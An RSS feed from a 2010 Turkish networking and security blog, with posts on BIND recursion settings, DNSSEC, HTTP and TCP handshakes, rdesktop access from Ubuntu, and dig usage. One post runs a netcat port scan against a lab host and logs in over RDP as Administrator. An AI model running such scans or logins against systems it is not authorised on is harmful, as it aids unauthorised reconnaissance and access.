<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sec &#34;IP&#34; nix</title>
	<atom:link href="http://ugurengin.com/blog/feed" rel="self" type="application/rss+xml" />
	<link>http://ugurengin.com/blog</link>
	<description>Uğur Engin</description>
	<lastBuildDate>Fri, 18 Jun 2010 08:11:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Dns Recursive Request Settings</title>
		<link>http://ugurengin.com/blog/dns-recursive-request-settings.html</link>
		<comments>http://ugurengin.com/blog/dns-recursive-request-settings.html#comments</comments>
		<pubDate>Tue, 15 Jun 2010 19:54:51 +0000</pubDate>
		<dc:creator>Ugur Engin</dc:creator>
				<category><![CDATA[Dns]]></category>
		<category><![CDATA[dns hijacking]]></category>
		<category><![CDATA[recursion]]></category>
		<category><![CDATA[recursive request]]></category>

		<guid isPermaLink="false">http://ugurengin.com/blog/?p=611</guid>
		<description><![CDATA[Client aracılığıyla herhangi bir lokasyondan, dns servera yapılan isteklere &#8220;Recursion&#8221; sorgular denilmektedir.Dns sunucu, kendisine sorulan bir zone&#8217;nin mevcut kaydini uzerinde bulamayınca root dns serverlara sorar, eğer cevap alırsa kendisine yapilan requeste bir cevap verir. BIND sunucusundaki named.conf dosyasinda yapılacak bir kac değişiklik ile recursion sorguları  opsiyonel olarak ayarlamak mümkün. Asagidaki secenek ile yerel network de [...]]]></description>
			<content:encoded><![CDATA[<p>Client aracılığıyla herhangi bir lokasyondan, dns servera yapılan isteklere &#8220;Recursion&#8221; sorgular denilmektedir.Dns sunucu, kendisine sorulan bir zone&#8217;nin mevcut kaydini uzerinde bulamayınca <a href="http://en.wikipedia.org/wiki/Root_nameserver" target="_blank">root dns serverlara</a> sorar, eğer cevap alırsa kendisine yapilan requeste bir cevap verir.</p>
<p>BIND sunucusundaki named.conf dosyasinda yapılacak bir kac değişiklik ile recursion sorguları  opsiyonel olarak ayarlamak mümkün.</p>
<p>Asagidaki secenek ile yerel network de kendi uzerinde bulunmayan bir zone&#8217;nin  IP adresini cozebilir, fakat disardan gelen tüm istekler  cevapsiz kalir (Tavsiye edilen güvenli seçenek.)</p>
<p>allow-recursion {<br />
localnets;<br />
}; ﻿</p>
<p>Recursion sorglarini komple kapamak.</p>
<p>Aşağıdaki seçenek, any den gelen requestler de sadece kendi uzerinde bulunan bir zone icin cozumleme yapar.Dezavantajı yerel agda bile uzerinde bulunan zone kaydi  hariç  herhangi bir isim cozumlemesi yapmamasıdır. Belirtilen durumu,  &#8220;yes&#8221; ile  tersine cevirebiliriz.</p>
<p>options {<br />
recursion:no;<br />
}</p>
<p>Recursion sorgularını belirli networklere acmak.</p>
<p>recursion yes;</p>
<p>allow-recursion {<br />
127.0.0.1; //Loopback<br />
213.248.153.121/24;<br />
};</p>
]]></content:encoded>
			<wfw:commentRss>http://ugurengin.com/blog/dns-recursive-request-settings.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Online Penetration Testing Eğitimleri</title>
		<link>http://ugurengin.com/blog/online-penetration-testing-egitimleri.html</link>
		<comments>http://ugurengin.com/blog/online-penetration-testing-egitimleri.html#comments</comments>
		<pubDate>Thu, 27 May 2010 14:17:57 +0000</pubDate>
		<dc:creator>Ugur Engin</dc:creator>
				<category><![CDATA[Network Security]]></category>
		<category><![CDATA[Elearnsecurity]]></category>
		<category><![CDATA[security course]]></category>

		<guid isPermaLink="false">http://ugurengin.com/blog/?p=712</guid>
		<description><![CDATA[Elearnsecurity firmasinin hazırladığı Security Training ile ilgili  Darknet  de henuz yeni girilmis bir entry dikkatimi çekti. ilgilenen arkadaşlar inceleyebilirler. http://www.darknet.org.uk/2010/05/elearnsecurity-online-penetration-testing-training Detaylar: http://www.elearnsecurity.com/course/penetration_testing/]]></description>
			<content:encoded><![CDATA[<p>Elearnsecurity firmasinin hazırladığı Security Training ile ilgili  Darknet  de henuz yeni girilmis bir entry dikkatimi çekti.<br />
ilgilenen arkadaşlar inceleyebilirler.</p>
<p><a href="http://www.darknet.org.uk/2010/05/elearnsecurity-online-penetration-testing-training" target="_blank">http://www.darknet.org.uk/2010/05/elearnsecurity-online-penetration-testing-training</a></p>
<p>Detaylar:</p>
<p><a href="http://www.elearnsecurity.com/course/penetration_testing/" target="_blank">http://www.elearnsecurity.com/course/penetration_testing/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://ugurengin.com/blog/online-penetration-testing-egitimleri.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DnsSec (DNSSEC might kill your internet?)</title>
		<link>http://ugurengin.com/blog/dnssec-dnssec-might-kill-your-internet.html</link>
		<comments>http://ugurengin.com/blog/dnssec-dnssec-might-kill-your-internet.html#comments</comments>
		<pubDate>Wed, 05 May 2010 22:09:02 +0000</pubDate>
		<dc:creator>Ugur Engin</dc:creator>
				<category><![CDATA[Network Security]]></category>
		<category><![CDATA[dnssec]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[kaminsky]]></category>
		<category><![CDATA[MITM]]></category>
		<category><![CDATA[root dns]]></category>

		<guid isPermaLink="false">http://ugurengin.com/blog/?p=702</guid>
		<description><![CDATA[5 Mayis itibari ile  Amerika da bulunan root dns serverlar  ekstra(+) bir guvenlik yapılandırmasıyla &#8220;Dnssec&#8221;  isimli bir uygulama baslatti. Konuyla ilgili gayet aciklayici ve teknik bilgileri asağıda belirtilen Türkçe ve İngilizce kaynaklı linkler aracılığıyla edinebilirsiniz. ﻿﻿﻿http://blog.lifeoverip.net/2010/05/05/dnssec-sonrasi-yasanabilecek-muhtemel-sorunlar/ https://www.bilgiguvenligi.gov.tr/guvenlik-teknolojileri/dnssec-ile-biraz-daha-guvende-miyiz.html http://labs.ripe.net/content/testing-your-resolver-dns-reply-size-issues Kısa bilgi: Sorgulayacagımız dns query&#8217;ler artık digital bir imza (Signature) ile cevap vereceginden dolayisla donen sorgunun miktarida [...]]]></description>
			<content:encoded><![CDATA[<p>5 Mayis itibari ile  Amerika da bulunan root dns serverlar  ekstra(+) bir guvenlik yapılandırmasıyla &#8220;Dnssec&#8221;  isimli bir uygulama baslatti.<br />
Konuyla ilgili gayet aciklayici ve teknik bilgileri asağıda belirtilen Türkçe ve İngilizce kaynaklı linkler aracılığıyla edinebilirsiniz.</p>
<p>﻿﻿﻿<a href="http://blog.lifeoverip.net/2010/05/05/dnssec-sonrasi-yasanabilecek-muhtemel-sorunlar/ " target="_blank">http://blog.lifeoverip.net/2010/05/05/dnssec-sonrasi-yasanabilecek-muhtemel-sorunlar/ </a></p>
<p><a href="https://www.bilgiguvenligi.gov.tr/guvenlik-teknolojileri/dnssec-ile-biraz-daha-guvende-miyiz.html" target="_blank">https://www.bilgiguvenligi.gov.tr/guvenlik-teknolojileri/dnssec-ile-biraz-daha-guvende-miyiz.html</a></p>
<p><a href="http://labs.ripe.net/content/testing-your-resolver-dns-reply-size-issues" target="_blank">http://labs.ripe.net/content/testing-your-resolver-dns-reply-size-issues</a></p>
<p>Kısa bilgi:</p>
<p>Sorgulayacagımız dns query&#8217;ler artık digital bir imza (Signature) ile cevap vereceginden dolayisla donen sorgunun miktarida artacaktir.</p>
<p>Standart bir dns servera (BIND) yapilan request sonucu:</p>
<p>;; Query time: 8 msec<br />
;; SERVER: ###53(88#)<br />
;; WHEN: Thu May  6 00:44:56 2010<br />
<span style="color: #008000;">;; MSG SIZE  rcvd: 89</span></p>
<p>DnsSec ile Root dns  serverlar her query icin 512 byte dan daha buyuk  miktarda cevap donecektir.Bu durum ozellikle firewall ve IPS&#8217;lerce bloklanabileceğinden internette anlık  erişim problemleri yasanabilir.</p>
]]></content:encoded>
			<wfw:commentRss>http://ugurengin.com/blog/dnssec-dnssec-might-kill-your-internet.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HTTP Protokolü nasıl çalışır?</title>
		<link>http://ugurengin.com/blog/http-protokolu-nasil-calisir.html</link>
		<comments>http://ugurengin.com/blog/http-protokolu-nasil-calisir.html#comments</comments>
		<pubDate>Sun, 18 Apr 2010 01:03:41 +0000</pubDate>
		<dc:creator>Ugur Engin</dc:creator>
				<category><![CDATA[TCP/IP]]></category>
		<category><![CDATA[http capture]]></category>
		<category><![CDATA[http frame]]></category>
		<category><![CDATA[http protocol]]></category>
		<category><![CDATA[Identification]]></category>
		<category><![CDATA[tcp session]]></category>
		<category><![CDATA[wireshark]]></category>

		<guid isPermaLink="false">http://ugurengin.com/blog/?p=630</guid>
		<description><![CDATA[&#8220;Software Identification&#8221; tekniginin öncüsü, OSI Modelinin 7.Katmanın da bulununan http protokolü&#8217;nün arkasında saniseler içerisinde dönen trafigi capture edip ilgili protokolun çalışma mantığı ve yapısı hakkında derinlemesine bilgi sahibi olmaya çalışacağız. Client tarafından 80. port aracılığıyla yapılan her  request&#8217;e karşılık http protokolu bir response field döner. securityfocus isimli  sunucuya test amaçlı  yapilan bir request ve dönen [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;Software Identification&#8221; tekniginin öncüsü, OSI Modelinin 7.Katmanın da bulununan http protokolü&#8217;nün arkasında saniseler içerisinde dönen trafigi capture edip ilgili protokolun çalışma mantığı ve yapısı hakkında derinlemesine bilgi sahibi olmaya çalışacağız. Client tarafından 80. port aracılığıyla yapılan her  request&#8217;e karşılık http protokolu bir response field döner.</p>
<p>securityfocus isimli  sunucuya test amaçlı  yapilan bir request ve dönen response içeriğini asağida görebilirsiniz.<br />
Dikkat ederseniz dönen response içeriğinde gereginden fazla bilgi var ki bunlar gereksiz.</p>
<p><span style="color: #008000;">=== REQUEST ===</span></p>
<p><span style="color: #008000;">GET / HTTP/1.1<br />
Host: www.securityfocus.com<br />
Accept-Encoding: gzip<br />
Connection: keep-alive<br />
User-Agent: Mozilla/5.0 SF/1.26b<br />
Range: bytes=0-199999<br />
Referer: http://www.securityfocus.com/</span></p>
<p><span style="color: #008000;">=== RESPONSE ===</span></p>
<p><span style="color: #008000;">HTTP/1.1 200 Partial Content<br />
Date: Tue, 13 Apr 2010 20:08:42 GMT<br />
Server: Apache/1.3.41 (Unix) mod_perl/1.29 mod_ssl/2.8.31 OpenSSL/0.9.8g<br />
Last-Modified: Tue, 13 Apr 2010 20:00:13 GMT<br />
ETag: &#8220;b339d9-4d9b-4bc4cd4d&#8221;<br />
Accept-Ranges: bytes<br />
Content-Length: 19867<br />
Content-Range: bytes 0-19866/19867<br />
Keep-Alive: timeout=4, max=500<br />
Connection: Keep-Alive<br />
Content-Type: text/html</span></p>
<p><span style="color: #008000;"> </span></p>
<h2><span style="color: #008000;"><span style="color: #000000;">HTTP Protokolü Request ve Response istek yapıları.</span><br />
</span></h2>
<p><span style="text-decoration: underline;"><span style="color: #008000;">Http Response Field Yapısı.</span></span></p>
<pre><span style="color: #ff0000;"><strong>Request = Status-Line 	;
	*(( gener&lt;al-header 	;
	| response-header 	;
	| entity-header ) CRLF) ;
	CRLF
	[ message-body ] 	;</strong></span></pre>
<p><span style="text-decoration: underline;"><span style="color: #008000;">Http Response Header Listesi:</span></span></p>
<p><span style="color: #008000;"><strong>&#8220;Informational,Succes,Redirection,Client Error, Server Error&#8221;</strong></span></p>
<p><span style="text-decoration: underline;"><span style="color: #008000;">Http Request Field Yapısı.</span></span></p>
<pre><strong><span style="color: #ff0000;">Request = Request-Line 	;
	*(( general-header 	;
	| request-header 	;
	| entity-header ) CRLF) ;
	CRLF
	[ message-body ] </span></strong>
</pre>
<p><span style="color: #008000;"><span style="text-decoration: underline;"><span style="color: #ff0000;"><span style="color: #008000;">Başlıca</span> </span>Http Request Header Listesi:</span></span></p>
<p><strong><span style="color: #008000;">options,get,head,post,put,delete,trace,connect,host,user-agent,date,referer</span></strong></p>
<h3>TCP Session nasıl açılır ve HTTP isteği nasıl gerçekleşir ?</h3>
<p>Aşağıda &#8220;Source&#8221; bölümü karşışında  belirtilmiş olan IP adresi, sunucumuza istekde bulunan client&#8217;in adresidir. Destination ise, sunucumuzun IP adresi olsun.Client makine, hedef sunucuya  doğru her request de farkli bir port aracılığıyla ilgili session&#8217;un  açılmasında rol üstleniyor.Dolayısıyla karşı sunucuya yapılan her request  aynı zamanda  client makine tarafında farkli bir <strong>source port&#8217;un</strong> Tcp Sessiona dahil olmasını ve  aradaki bağlantının açılmasını sağlıyor.</p>
<p><strong>Source IP</strong>: 10.0.0.2<br />
<strong>Source Port</strong>: 46949<br />
<strong>Destination IP</strong>: 205.206.231.12<br />
<strong>Destination Port</strong>: 80</p>
<p>Şimdi, client makine&#8217;de  205.206.231.12 nolu IP adresine doğru yapılan  requestleri wireshark ile capture edelim amacımız paketleri detaylıca incelemek fakat öncelikle shell de netstat  -ant parametresiyle bağlantı sağlanmış basit bir tcp session çıktısını görelim.</p>
<p>netstat -ant | grep &#8217;46949&#8242; &gt; http_session.txt</p>
<p>Active Internet connections (servers and established)<br />
Proto Recv-Q Send-Q Local Address           Foreign Address         State</p>
<p>tcp        0      0 <strong>10.0.0.2:46949          205.206.231.12:8</strong>0       ESTABLISHED</p>
<p><span style="color: #ff0000;">&#8220;Established&#8221; statusu bizlere TCP bağlantıların da üçlü el sıkışma olarak adlandırdıgımız aksiyonun gercekleştiğini ve hedef makine ile iletisim kurulabileceğini gösteriyor.</span></p>
<h3><strong>3&#8242;lü el sıkışma</strong> nasıl gerçekleşiyor?</h3>
<p>Client  &#8220;Syn&#8221; &gt;   Sunucu  (A)<br />
Sunucu  &#8220;Ack+Syn&#8221; &gt; Client (A+1)<br />
Client  +Ack  &gt; Sunucu (B+1)</p>
<p style="text-align: center;"><a href="http://ugurengin.com/blog/img/TCP/http1.JPG" rel="lightbox[630]"><img class="aligncenter" src="http://ugurengin.com/blog/img/TCP/http1.JPG" alt="" width="992" height="91" /></a></p>
<p>TCP bağlantısı gerçekleştikten sonra 205.206.231.12 nolu IP adresine  1 bit&#8217;lik PSH ve ACK isimli tcp bayrakları gönderiliyor dolayısıyla request ettiğimiz sayfanın içeriğini görüntüleyebiliyoruz.</p>
<p>Client  &#8220;Syn&#8221; &gt;   Sunucu<br />
Sunucu  &#8220;Ack+Syn&#8221; &gt; Client<br />
Client  +Ack  &gt; Sunucu<br />
Client  Psh + Ack  &gt; Sunucu</p>
<p style="text-align: left;"><a href="http://ugurengin.com/blog/img/TCP/http2.JPG" rel="lightbox[630]"><img class="aligncenter" src="http://ugurengin.com/blog/img/TCP/http2.JPG" alt="" width="1026" height="302" /></a></p>
<p style="text-align: left;">Biraz teknik bir anlatm oldu.<br />
Apache sunucularda güvenlik sebebiyle özellikle Software Identification analizleri&#8217;ni engellemek için dönen response içeriklerini minimize edip filtreleyebiliriz fakat bunlar bir başka entry&#8217;nin konusu olsun.</p>
<p style="text-align: center;">
]]></content:encoded>
			<wfw:commentRss>http://ugurengin.com/blog/http-protokolu-nasil-calisir.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Windows Terminal Accessing for client on Ubuntu</title>
		<link>http://ugurengin.com/blog/windows-terminal-acces-for-client-on-ubuntu.html</link>
		<comments>http://ugurengin.com/blog/windows-terminal-acces-for-client-on-ubuntu.html#comments</comments>
		<pubDate>Sun, 18 Apr 2010 00:08:13 +0000</pubDate>
		<dc:creator>Ugur Engin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[GNU]]></category>
		<category><![CDATA[netcat]]></category>
		<category><![CDATA[rdesktop]]></category>
		<category><![CDATA[terminal acces]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[Windows Terminal Services]]></category>

		<guid isPermaLink="false">http://ugurengin.com/blog/?p=665</guid>
		<description><![CDATA[rdesktop , Matthew Chapman tarafından Linux platformların dan Windows terminal sistemlere remote erişim için geliştirilmiş VNC connection benzeri  bir protokoldür.(GNU Licence) Linux altında, rdesktop ile 192.168.99.129 IP adresli sanal bir windows pc&#8217;nin terminal server protokolune bağlanalım. Netcat ile remote erişim sağlamak istedigim windows serverin  3389. Portu&#8217;nun dış network&#8217;e açık olup olmadığını kontrol ediyorum. root@localroot:~# nc [...]]]></description>
			<content:encoded><![CDATA[<p><strong>rdesktop , </strong>Matthew Chapman tarafından Linux platformların dan Windows terminal sistemlere remote erişim için geliştirilmiş VNC connection benzeri  bir protokoldür.(GNU Licence)</p>
<p>Linux altında, rdesktop ile 192.168.99.129 IP adresli sanal bir windows pc&#8217;nin terminal server protokolune bağlanalım.</p>
<p>Netcat ile remote erişim sağlamak istedigim windows serverin  3389. Portu&#8217;nun dış network&#8217;e açık olup olmadığını kontrol ediyorum.</p>
<p><strong><span style="color: #ff0000;">root@localroot:~# nc -v -n 192.168.99.129 3389</span></strong><br />
<strong>(UNKNOWN) [192.168.99.129] 3389 (?) open</strong></p>
<p>ilgilendiğim port(3389), belli bir sayı aralıgında değişmiş de olabilir o aralığın 3380 ile 3389. Portlar  arasında var olabileceğini düşünerek asagidaki sekilde bir tarama işlemi yapabilirim.</p>
<p><strong><span style="color: #ff0000;">root@localroot:~# nc -v -w2 -z 192.168.99.129 3380-3389</span></strong><br />
192.168.99.129: inverse host lookup failed: Unknown host<br />
<strong>(UNKNOWN) [192.168.99.129] 3389 (?) open</strong><br />
(UNKNOWN) [192.168.99.129] 3388 (?) : Connection timed out<br />
(UNKNOWN) [192.168.99.129] 3387 (?) : Connection timed out<br />
(UNKNOWN) [192.168.99.129] 3386 (?) : Connection timed out<br />
(UNKNOWN) [192.168.99.129] 3385 (?) : Connection timed out<br />
(UNKNOWN) [192.168.99.129] 3384 (?) : Connection timed out<br />
(UNKNOWN) [192.168.99.129] 3383 (?) : Connection timed out</p>
<p>İhtiyacımız olan port&#8217;un açık oldugunu netcat ile teyid ettik.Windows server tarafında terminal bağlantı için gerekli ayarların yapılmış olduğunu var sayarak &#8220;rdesktop&#8221; ile ilgili sisteme remote erişim saglayalım.Shell  de root yetkilerini alarak   asagıdaki komut istemlerini inceleyelim.</p>
<p>[ "Bağlantı penceresi açılır , password belirtilip sisteme bağlanılır."  ]</p>
<p><strong>rdesktop</strong> <span style="color: #008000;">-uAdministrator -p 192.168.99.129:3389</span></p>
<p>[Ortam da domain varsa -d parametresi ile domain ismini belirtip domain kullanıcısı olarak da oturum açabiliriz.]</p>
<p><strong>rdesktop</strong><span style="color: #008000;"> -dseclab  -uAdministrator -p 192.168.99.129:3389 </span></p>
<p>[Full screen mode]</p>
<p><strong>rdesktop</strong><span style="color: #008000;"> -uAdministrator -p 192.168.99.129:3389  -f</span></p>
<p>[ Sounds driver share ]</p>
<p><strong>rdesktop</strong> <span style="color: #008000;">-uAdministrator -proot 192.168.99.129:3389 -f -r sound:local</span></p>
<p>[ Printer share ]</p>
<p><strong>rdesktop</strong> <span style="color: #008000;">-uAdministrator -proot 192.168.99.129:3389 -f  -r printer:xeonprinter</span></p>
<p>[Sistem den belli bir bölüm(Klasör,Dosya) bağlandıgımız client pc ile paylaştırılabiliyor (/root/desktop gibi.)]</p>
<p><span style="color: #008000;"><strong><span style="color: #000000;">rdesktop</span> </strong>-uAdministrator -proot 192.168.99.129:3389 -r disk:doc=/root/Desktop</span></p>
<p style="text-align: center;"><a href="http://ugurengin.com/blog/img/rootshare.PNG" rel="lightbox[665]"><img class="aligncenter" src="http://ugurengin.com/blog/img/rootshare.PNG" alt="" width="614" height="91" /></a></p>
<p style="text-align: left;">[ Diskleri aşağıdaki her 2 komut ile hedef client ile paylaştırabiliriz.]</p>
<p style="text-align: left;"><span style="color: #008000;"><span style="color: #000000;"><strong>rdesktop</strong></span> -uAdministrator -proot 192.168.99.129:3389 -r LPT1=/dev/sda6</span></p>
<p style="text-align: left;"><strong>rdesktop</strong> <span style="color: #008000;">-uAdministrator -proot 192.168.99.129:3389 -r lptport:LPT1=/dev/sda6</span></p>
<p style="text-align: left;">sda6 isimli root diskimi bağlandıgım client pc  ile paylaştırdım.</p>
<p style="text-align: left;">&#8220;Rdesktop&#8221; adına yazacaklarım bu kadar.Sanırım tüm bunlar Linux altında windows bir servera, terminal erişim için  fazlasıyla  işinize yarayacaktır.</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 233px; width: 1px; height: 1px;">rdesktop -uAdministrator -proot 192.168.99.129:3389 -r lptport:LPT1=/dev/sda6</div>
]]></content:encoded>
			<wfw:commentRss>http://ugurengin.com/blog/windows-terminal-acces-for-client-on-ubuntu.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Dig nedir ? Nasıl kullanılır?</title>
		<link>http://ugurengin.com/blog/dig-nedir-nasil-kullanilir.html</link>
		<comments>http://ugurengin.com/blog/dig-nedir-nasil-kullanilir.html#comments</comments>
		<pubDate>Sun, 21 Mar 2010 21:35:58 +0000</pubDate>
		<dc:creator>Ugur Engin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[bind-utils]]></category>
		<category><![CDATA[Dig]]></category>
		<category><![CDATA[dns record]]></category>
		<category><![CDATA[PTR]]></category>
		<category><![CDATA[root dns server]]></category>
		<category><![CDATA[SOA]]></category>
		<category><![CDATA[SPF]]></category>
		<category><![CDATA[youtube-ip]]></category>

		<guid isPermaLink="false">http://ugurengin.com/blog/?p=571</guid>
		<description><![CDATA[Dig, herhangi alan adi  icin bir dizi dns sorgusu yapılabilmesini sağlayan kullanışlı bir network yazılımıdır. Dig&#8217;i işlevleri itibari ile windows sistemlerdeki nslookup&#8217;a benzetebilirsiniz.Linux/Unix sistemlerde default olarak network tool&#8217;lari içerisinde sistemde kurulu olarak bulunabildigi gibi  Bind-utils paketi ile sisteme harici olarak da kurulabilmektedir.Şimdi client dns&#8217;imiz uzerinden youtube.com adresinin A,MX,SPF(TXT),NS,SOA.PTR  recordlarini sorgulayacagız.Bu işlemleri google&#8217;nin public ettiği dns [...]]]></description>
			<content:encoded><![CDATA[<p>Dig, herhangi alan adi  icin bir dizi dns sorgusu yapılabilmesini sağlayan kullanışlı bir network yazılımıdır. Dig&#8217;i işlevleri itibari ile windows sistemlerdeki nslookup&#8217;a benzetebilirsiniz.Linux/Unix sistemlerde default olarak network tool&#8217;lari içerisinde sistemde kurulu olarak bulunabildigi gibi  Bind-utils paketi ile sisteme harici olarak da kurulabilmektedir.Şimdi client dns&#8217;imiz uzerinden youtube.com adresinin A,MX,SPF(TXT),NS,SOA.PTR  recordlarini sorgulayacagız.Bu işlemleri <a title="Google public dns server" href="http://code.google.com/speed/public-dns/" target="_blank">google&#8217;nin public ettiği dns serverlari</a> kullanarak yapmak durumundayız cunku telekom&#8217;un  dns serverlari Youtube&#8217;nin real IP&#8217;lerini donmemektedir. (Sebebini herkes biliyor.)</p>
<p>Client dns sunucum, youtube.com&#8217;un IP adresini  &gt; Turktelekom&#8217;un dns serverlarina soruyor</p>
<p>root@localroot:/home/ugur# <strong>dig A youtube.com +short +answer</strong><br />
<span style="color: #ff0000;">88.255.41.21</span></p>
<p><a href="http://www.db.ripe.net/whois?form_type=simple&amp;full_query_string=&amp;searchtext=88.255.41.21&amp;submit.x=13&amp;submit.y=6&amp;submit=Search" target="_blank">http://www.db.ripe.net/whois?form_type=simple&amp;full_query_string=&amp;searchtext=88.255.41.21&amp;submit.x=13&amp;submit.y=6&amp;submit=Search</a></p>
<p>88.255.41 subneti tabiki youtube.com&#8217;a ait degil.</p>
<pre><strong>inetnum</strong>:         88.224.0.0 - 88.255.255.255
<span style="text-decoration: underline;">netname:         TR-TELEKOM-20051027
</span>descr:           PROVIDER Local Registry
descr:           Turk Telekom
country:         TR
org:             <a href="http://www.db.ripe.net/whois?searchtext=ORG-TT3-RIPE&amp;inverse_attributes=org&amp;form_type=simple">ORG-TT3-RIPE</a>
admin-c:         <a href="http://www.db.ripe.net/whois?searchtext=TTBA1-RIPE&amp;inverse_attributes=admin-c&amp;form_type=simple">TTBA1-RIPE</a>
tech-c:          <a href="http://www.db.ripe.net/whois?searchtext=TTBA1-RIPE&amp;inverse_attributes=tech-c&amp;form_type=simple">TTBA1-RIPE</a></pre>
<p>Bu sebeple; resolv.conf dosyama, google&#8217;nin dns adreslerini giriyorum.</p>
<pre><span style="color: #008000;">/etc/resolv.conf</span></pre>
<pre>; generated by /sbin/dhclient-script
search localdomain
#nameserver 10.0.0.1
nameserver 8.8.8.8
nameserver 8.8.4.4</pre>
<p>Artık, Dig ile youtube.com uzerinde çalışmaya baslayabiliriz.</p>
<pre>[root@labs ~]# <strong>dig</strong></pre>
<p>; &lt;&lt;&gt;&gt; <strong>DiG 9.3.6-P1-RedHat-9.3.6-4</strong>.P1.el5_4.1 &lt;&lt;&gt;&gt;<br />
;; global options:  printcmd<br />
;; Got answer:<br />
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 21992<br />
;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 0</p>
<p>;; QUESTION SECTION:<br />
;.                IN    NS</p>
<p>;; ANSWER SECTION:  (THERE ARE 13 ROOT DNS SERVERS IN WORLD)</p>
<p><span style="color: #008000;"><span style="text-decoration: underline;">.            5    IN    NS    a.root-servers.net.<br />
.            5    IN    NS    b.root-servers.net.<br />
.            5    IN    NS    c.root-servers.net.<br />
.            5    IN    NS    d.root-servers.net.<br />
.            5    IN    NS    e.root-servers.net.<br />
.            5    IN    NS    f.root-servers.net.<br />
.            5    IN    NS    g.root-servers.net.<br />
.            5    IN    NS    h.root-servers.net.<br />
.            5    IN    NS    i.root-servers.net.<br />
.            5    IN    NS    j.root-servers.net.<br />
.            5    IN    NS    k.root-servers.net.<br />
.            5    IN    NS    l.root-servers.net.<br />
.            5    IN    NS    m.root-servers.net.</span></span></p>
<p>Eğer request&#8217;lerimizin sonuclarını istatistikleri ile  istiyorsak (MX,NS,SOA  ve TXT  kayitlari icin) <span style="text-decoration: underline;">dig A siteismi.com </span>seklinde bir komut calıştırabiliriz.Dig her ayrı request icin ayrıntılı bir istatistik veriyor. (Bakınız A kaydı icin yapilan request)</p>
<pre>[root@labs ~]#<strong> dig A youtube.com </strong></pre>
<p>; &lt;&lt;&gt;&gt; DiG 9.3.6-P1-RedHat-9.3.6-4.P1.el5_4.1 &lt;&lt;&gt;&gt; A youtube.com<br />
;; global options:  printcmd<br />
;; Got answer:<br />
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 43647<br />
<span style="text-decoration: underline;"><span style="color: #008000;">;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: </span></span></p>
<p>;; QUESTION SECTION:<br />
;youtube.com.            IN    A</p>
<p>;; ANSWER SECTION:<br />
<span style="color: #008000;"><span style="color: #ff0000;">youtube.com.        300    IN    A    74.125.127.100<br />
youtube.com.        300    IN    A    74.125.45.100<br />
youtube.com.        300    IN    A    74.125.67.100</span><span style="text-decoration: underline;"><br />
</span></span><br />
<span style="text-decoration: underline;"><span style="color: #008000;">;; Query time: 67 msec<br />
;; SERVER: 8.8.4.4#53(8.8.4.4)<br />
;; WHEN: Sat Mar 20 03:02:05 2010<br />
;; MSG SIZE  rcvd: 77</span></span></p>
<p>Dönen requestleri sadeslestirmek icin asagidaki parametleri sorgularımıza dahil edebiliriz.<br />
+noall<br />
+short<br />
+nostats</p>
<p>[root@labs ~]# <strong>dig A youtube.com +noall +short +nostats </strong><br />
<span style="color: #ff0000;">74.125.127.100<br />
74.125.45.100<br />
74.125.67.100</span></p>
<p>[root@labs ~]# <strong>dig MX youtube.com +noall +short +nostats +answer</strong><span style="color: #ff0000;"><br />
10 sjl-mbox1.sjl.youtube.com.</span></p>
<p>[root@labs ~]# <strong>dig NS youtube.com +noall +short +nostats +answer</strong><span style="color: #ff0000;"><br />
ns1.google.com.<br />
ns3.google.com.<br />
ns2.google.com.<br />
ns4.google.com.</span></p>
<p>[root@labs ~]# <strong>dig SOA youtube.com +noall +short +nostats +answer</strong><br />
<span style="color: #ff0000;">sjl-ins1.sjl.youtube.com. dns-admin.youtube.com. 1410044 10800 3600 604800 600</span></p>
<p>[root@labs ~]# <strong>dig TXT youtube.com +noall +short +nostats +answer</strong><br />
<span style="color: #ff0000;">&#8220;v=spf1 ip4:208.117.224.0/19 ip4:208.65.152.0/22 ip4:64.15.112.0/20 include:google.com mx ~all&#8221;</span></p>
<p>[root@labs ~]#<strong> dig any youtube.com +noall +short +answer</strong><br />
<span style="color: #ff0000;">ns2.google.com.<br />
ns1.google.com.<br />
ns4.google.com.<br />
74.125.45.100<br />
74.125.67.100<br />
ns3.google.com.<br />
10 sjl-mbox1.sjl.youtube.com.<br />
&#8220;v=spf1 ip4:208.117.224.0/19 ip4:208.65.152.0/22 ip4:64.15.112.0/20 include:google.com mx ~all&#8221;<br />
74.125.127.100<br />
sjl-ins1.sjl.youtube.com. dns-admin.youtube.com. 1410051 10800 3600 604800 600</span></p>
<p>Şimdi direk youtube.com&#8217;un host edildigi dns serverlara A kaydı requesti yapacagiz.Amacımız youtube&#8217;nin A kayıtlarını görmek.</p>
<p><span style="color: #000000;">[root@labs ~]#</span><strong><span style="color: #000000;"> dig @ns1.google.com www.youtube.com +noall +short +answer +nostats</span></strong><br />
youtube-ui.l.google.com.<br />
